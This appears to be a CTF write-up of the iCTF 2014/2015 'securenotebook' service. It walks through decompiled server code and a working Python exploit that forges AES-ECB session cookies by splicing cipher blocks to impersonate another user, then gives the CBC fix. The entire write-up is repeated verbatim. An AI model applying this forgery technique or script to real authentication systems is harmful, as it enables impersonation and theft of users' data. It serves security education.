ictf 2014/2015 securenotebook write up
The securenotebook challenge was a 64 bit ELF binary which also consists of a zip archive. The symbols of the ELF file contained a lot of Python stuff, but we did not look deeper into it. After unpacking the zip archive, we were supplied by a lot of .pyc files. The obvious point to start was the __main__.pyc file. In order to get the python source, we used uncompyle2 from the pip repository.
The program first defines some global variables which can be seen in the following:
sys.stdout = NullDevice()
sys.stderr = NullDevice()
FORMAT = '%(asctime)-15s %(message)s'
logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG)
logger = logging.getLogger('server')
logging.disable(logging.CRITICAL)
lock = Lock()
allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py'])
aes_key = os.urandom(32)
secret = os.urandom(200)
root = 'rootadministrator'
manager = Manager()
db = manager.dict()
The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function:
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('0.0.0.0', int(sys.argv[1]))
sock.bind(server_address)
sock.listen(1)
processes = []
lasttime = datetime.datetime.now()
try:
while True:
now = datetime.datetime.now()
d = now - lasttime
if d > datetime.timedelta(seconds=20):
lasttime = now
tobe_removed = []
for i in range(len(processes)):
if now - processes[i][1] > datetime.timedelta(seconds=20):
try:
processes[i][0].terminate()
except Exception as e:
pass
tobe_removed.append(i)
else:
break
for i in sorted(tobe_removed, reverse=True):
del processes[i]
print >> sys.stderr, 'waiting for a connection'
(connection, client_address,) = sock.accept()
process = multiprocessing.Process(target=handle, args=(connection,
client_address,
db,
lock))
process.daemon = True
process.start()
processes.append((process, datetime.datetime.now(), connection))
except Exception as e:
print e
As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function:
def handle(connection, address, db, lock):
try:
connection.send('user|pass:')
data = connection.recv(1024)
print data,
print 'read'
user = authenticate(data, db, lock)
if len(user) == 0:
raise Exception('Not authenticated')
print 'user %s authenticated' % user
print 'creating token for user',
print user
tok = create_token(user)
print 'token=',
print tok
connection.send(tok)
while True:
connection.send('\ncookie,command:')
data = ''
tries = 0
while len(data) == 0:
data = connection.recv(1024)
tries += 1
if tries > 20:
connection.close()
return
print 'data=',
print data
out = parse_command(data)
connection.send(out)
except Exception as e:
print e
connection.close()
We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function:
def authenticate(s, db, lock):
lock.acquire()
try:
fields = s.split('|')
if len(fields) < 2:
raise Exception('Invalid format')
return ''
user = fields[0]
user = user.strip()
passwd = fields[1]
passwd = passwd.strip()
print user,
print passwd
if not (safe_string(user) and safe_string(passwd)):
raise Exception('Unsafe')
return ''
if user == root:
if passwd == secret:
print user,
print 'authenticated'
return user
else:
raise Exception('Unauthorized')
return ''
else:
if user in db and db[user] == passwd:
print user,
print 'authenticated'
return user
else:
if user not in db:
print user,
print 'authenticated'
db[user] = passwd
return user
return ''
except:
raise
finally:
lock.release()
The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function:
def parse_command(msg):
try:
fs = msg.split(',')
b64_c = fs[0]
command = fs[1]
command = command.strip()
print 'command=',
print command
print 'fields=',
print fs
c = base64.b64decode(b64_c)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
m = aes.decrypt(c)
print 'm=',
print m
fields = m.split('|')
year = int(fields[0])
month = int(fields[1])
day = int(fields[2])
hour = int(fields[3])
minute = int(fields[4])
user = fields[5]
user = user.strip()
print 'mfields=',
print fields
ts = datetime.datetime(year, month, day, hour, minute)
t = datetime.datetime.now()
d = t - ts
if d > datetime.timedelta(seconds=60):
print 'expired'
raise Exception('Expired')
return ''
else:
if command == 'ls':
print 'ls'
try:
pipe = os.popen('ls')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
return out
if command == 'cat server.py':
print 'read src'
try:
pipe = os.popen('cat server.py')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
raise
return out
if command == 'retv secret':
print 'retv'
if user == root:
try:
pipe = os.popen('cat secret.txt')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
raise
return out
else:
try:
try:
users_vault = 'secret_of_%s.txt' % user
pipe = os.popen('cat "%s"' % users_vault)
out = pipe.read()
pipe.close()
print 'out =',
print out
except Exception as e:
out = ''
raise
except:
out = ''
return out
elif command.startswith('write '):
print 'write'
to_write = command[len('write '):]
if user == root:
try:
f = open('secret.txt', 'wt')
f.write(to_write)
f.close()
except:
print 'failed'
raise
else:
try:
users_vault = 'secret_of_%s.txt' % user
f = open(users_vault, 'wt')
f.write(to_write)
f.close()
except:
print 'failed'
raise
return ''
except Exception as e:
print e,
print 'msg=',
print msg
raise
return ''
Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation:
def create_token(user):
try:
print 'creating the token'
t = datetime.datetime.now()
plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
t.month,
t.day,
t.hour,
t.minute,
user)
l1 = len('%d|%d|%d|%d|%d|' % (t.year,
t.month,
t.day,
t.hour,
t.minute))
padded_plain_token = ' ' * (16 - l1 % 16) + plain_token
l = len(padded_plain_token)
padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
enc_token = aes.encrypt(padded_plain_token)
b64_token = base64.b64encode(enc_token)
return b64_token
except Exception as e:
logger.error('%s' % str(e))
raise
The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses.
A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do?
Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block.
Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag.
The working exploit looks like this (CTF coding style):
#!/usr/bin/env python
import math
from socket import *
from time import time
from time import sleep
import sys
import re
import base64
BUFSIZE = 4098
class Client:
def __init__(s,host,port):
s.__HOST = host
s.__PORT = port
s.__ADDR = (s.__HOST,s.__PORT)
s.__sock = None
def makeConnection(s):
# for TCP connection
s.__sock = socket( AF_INET,SOCK_STREAM)
# for UDP connection
# s.__sock = socket( AF_INET,SOCK_DGRAM)
s.__sock.connect(s.__ADDR)
def sendCmd(s, cmd):
# print cmd
s.__sock.send(cmd)
def getResults(s):
return s.__sock.recv(BUFSIZE)
def close(s):
s.__sock.close()
class Exploit():
def execute(self, ip, port, flag_id):
# the user name the gaming server used
testuser = flag_id
firstPart = testuser[:16]
secondPart = testuser[16:]
# get first part
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
password = "randomPasswd"
#print firstPart
conn.sendCmd("%s|%s" % (firstPart,password))
cookie = conn.getResults()
print cookie
firstDecoded = cookie.decode("base64")
if len(firstDecoded) == 64:
# minutes have length of 2
# => padding is 16 characters long (a whole block)
firstBlock = firstDecoded[:48]
else:
# minutes have length of 1
# => only first block is padded
firstBlock = firstDecoded[:32]
conn.close()
# get second part
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
password = "randomPasswd"
conn.sendCmd("%s|%s" % (secondPart,password))
cookie = conn.getResults()
secondDecoded = cookie.decode("base64")
#print len(secondDecoded)
if len(secondDecoded) == 48:
# minutes have length of 2
# => padding is 16 characters long (a whole block)
secondBlock = secondDecoded[32:48]
elif len(secondDecoded) == 32:
# minutes have length of 1
# => only first block is padded
secondBlock = secondDecoded[16:32]
else:
# should not happen
print "fuuu"
sys.exit(0)
blah = len(secondBlock)
finalBlock = firstBlock + secondBlock
finalEncoded = finalBlock.encode("base64")
conn.close()
# get flag
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome"))
cookie = conn.getResults()
#print cookie
blah = conn.getResults()
#print blah
conn.sendCmd("%s,%s" % (finalEncoded,"retv secret"))
self.flag = conn.getResults()
def result(self):
return {'FLAG': self.flag}
'''
# use to test exploit
test = Exploit()
test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM")
print test.result()
'''
In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one.
The program first defines some global variables which can be seen in the following:
sys.stdout = NullDevice()
sys.stderr = NullDevice()
FORMAT = '%(asctime)-15s %(message)s'
logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG)
logger = logging.getLogger('server')
logging.disable(logging.CRITICAL)
lock = Lock()
allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py'])
aes_key = os.urandom(32)
secret = os.urandom(200)
root = 'rootadministrator'
manager = Manager()
db = manager.dict()
The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function:
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('0.0.0.0', int(sys.argv[1]))
sock.bind(server_address)
sock.listen(1)
processes = []
lasttime = datetime.datetime.now()
try:
while True:
now = datetime.datetime.now()
d = now - lasttime
if d > datetime.timedelta(seconds=20):
lasttime = now
tobe_removed = []
for i in range(len(processes)):
if now - processes[i][1] > datetime.timedelta(seconds=20):
try:
processes[i][0].terminate()
except Exception as e:
pass
tobe_removed.append(i)
else:
break
for i in sorted(tobe_removed, reverse=True):
del processes[i]
print >> sys.stderr, 'waiting for a connection'
(connection, client_address,) = sock.accept()
process = multiprocessing.Process(target=handle, args=(connection,
client_address,
db,
lock))
process.daemon = True
process.start()
processes.append((process, datetime.datetime.now(), connection))
except Exception as e:
print e
As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function:
def handle(connection, address, db, lock):
try:
connection.send('user|pass:')
data = connection.recv(1024)
print data,
print 'read'
user = authenticate(data, db, lock)
if len(user) == 0:
raise Exception('Not authenticated')
print 'user %s authenticated' % user
print 'creating token for user',
print user
tok = create_token(user)
print 'token=',
print tok
connection.send(tok)
while True:
connection.send('\ncookie,command:')
data = ''
tries = 0
while len(data) == 0:
data = connection.recv(1024)
tries += 1
if tries > 20:
connection.close()
return
print 'data=',
print data
out = parse_command(data)
connection.send(out)
except Exception as e:
print e
connection.close()
We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function:
def authenticate(s, db, lock):
lock.acquire()
try:
fields = s.split('|')
if len(fields) < 2:
raise Exception('Invalid format')
return ''
user = fields[0]
user = user.strip()
passwd = fields[1]
passwd = passwd.strip()
print user,
print passwd
if not (safe_string(user) and safe_string(passwd)):
raise Exception('Unsafe')
return ''
if user == root:
if passwd == secret:
print user,
print 'authenticated'
return user
else:
raise Exception('Unauthorized')
return ''
else:
if user in db and db[user] == passwd:
print user,
print 'authenticated'
return user
else:
if user not in db:
print user,
print 'authenticated'
db[user] = passwd
return user
return ''
except:
raise
finally:
lock.release()
The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function:
def parse_command(msg):
try:
fs = msg.split(',')
b64_c = fs[0]
command = fs[1]
command = command.strip()
print 'command=',
print command
print 'fields=',
print fs
c = base64.b64decode(b64_c)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
m = aes.decrypt(c)
print 'm=',
print m
fields = m.split('|')
year = int(fields[0])
month = int(fields[1])
day = int(fields[2])
hour = int(fields[3])
minute = int(fields[4])
user = fields[5]
user = user.strip()
print 'mfields=',
print fields
ts = datetime.datetime(year, month, day, hour, minute)
t = datetime.datetime.now()
d = t - ts
if d > datetime.timedelta(seconds=60):
print 'expired'
raise Exception('Expired')
return ''
else:
if command == 'ls':
print 'ls'
try:
pipe = os.popen('ls')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
return out
if command == 'cat server.py':
print 'read src'
try:
pipe = os.popen('cat server.py')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
raise
return out
if command == 'retv secret':
print 'retv'
if user == root:
try:
pipe = os.popen('cat secret.txt')
out = pipe.read()
pipe.close()
except Exception as e:
out = ''
raise
return out
else:
try:
try:
users_vault = 'secret_of_%s.txt' % user
pipe = os.popen('cat "%s"' % users_vault)
out = pipe.read()
pipe.close()
print 'out =',
print out
except Exception as e:
out = ''
raise
except:
out = ''
return out
elif command.startswith('write '):
print 'write'
to_write = command[len('write '):]
if user == root:
try:
f = open('secret.txt', 'wt')
f.write(to_write)
f.close()
except:
print 'failed'
raise
else:
try:
users_vault = 'secret_of_%s.txt' % user
f = open(users_vault, 'wt')
f.write(to_write)
f.close()
except:
print 'failed'
raise
return ''
except Exception as e:
print e,
print 'msg=',
print msg
raise
return ''
Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation:
def create_token(user):
try:
print 'creating the token'
t = datetime.datetime.now()
plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
t.month,
t.day,
t.hour,
t.minute,
user)
l1 = len('%d|%d|%d|%d|%d|' % (t.year,
t.month,
t.day,
t.hour,
t.minute))
padded_plain_token = ' ' * (16 - l1 % 16) + plain_token
l = len(padded_plain_token)
padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
enc_token = aes.encrypt(padded_plain_token)
b64_token = base64.b64encode(enc_token)
return b64_token
except Exception as e:
logger.error('%s' % str(e))
raise
The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses.
A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do?
Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block.
Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag.
The working exploit looks like this (CTF coding style):
#!/usr/bin/env python
import math
from socket import *
from time import time
from time import sleep
import sys
import re
import base64
BUFSIZE = 4098
class Client:
def __init__(s,host,port):
s.__HOST = host
s.__PORT = port
s.__ADDR = (s.__HOST,s.__PORT)
s.__sock = None
def makeConnection(s):
# for TCP connection
s.__sock = socket( AF_INET,SOCK_STREAM)
# for UDP connection
# s.__sock = socket( AF_INET,SOCK_DGRAM)
s.__sock.connect(s.__ADDR)
def sendCmd(s, cmd):
# print cmd
s.__sock.send(cmd)
def getResults(s):
return s.__sock.recv(BUFSIZE)
def close(s):
s.__sock.close()
class Exploit():
def execute(self, ip, port, flag_id):
# the user name the gaming server used
testuser = flag_id
firstPart = testuser[:16]
secondPart = testuser[16:]
# get first part
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
password = "randomPasswd"
#print firstPart
conn.sendCmd("%s|%s" % (firstPart,password))
cookie = conn.getResults()
print cookie
firstDecoded = cookie.decode("base64")
if len(firstDecoded) == 64:
# minutes have length of 2
# => padding is 16 characters long (a whole block)
firstBlock = firstDecoded[:48]
else:
# minutes have length of 1
# => only first block is padded
firstBlock = firstDecoded[:32]
conn.close()
# get second part
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
password = "randomPasswd"
conn.sendCmd("%s|%s" % (secondPart,password))
cookie = conn.getResults()
secondDecoded = cookie.decode("base64")
#print len(secondDecoded)
if len(secondDecoded) == 48:
# minutes have length of 2
# => padding is 16 characters long (a whole block)
secondBlock = secondDecoded[32:48]
elif len(secondDecoded) == 32:
# minutes have length of 1
# => only first block is padded
secondBlock = secondDecoded[16:32]
else:
# should not happen
print "fuuu"
sys.exit(0)
blah = len(secondBlock)
finalBlock = firstBlock + secondBlock
finalEncoded = finalBlock.encode("base64")
conn.close()
# get flag
conn = Client(ip, port)
conn.makeConnection()
blah = conn.getResults()
#print blah
conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome"))
cookie = conn.getResults()
#print cookie
blah = conn.getResults()
#print blah
conn.sendCmd("%s,%s" % (finalEncoded,"retv secret"))
self.flag = conn.getResults()
def result(self):
return {'FLAG': self.flag}
'''
# use to test exploit
test = Exploit()
test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM")
print test.result()
'''
In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one.
Trackbacks
The author does not allow comments to this entry
Comments
Display comments as Linear | Threaded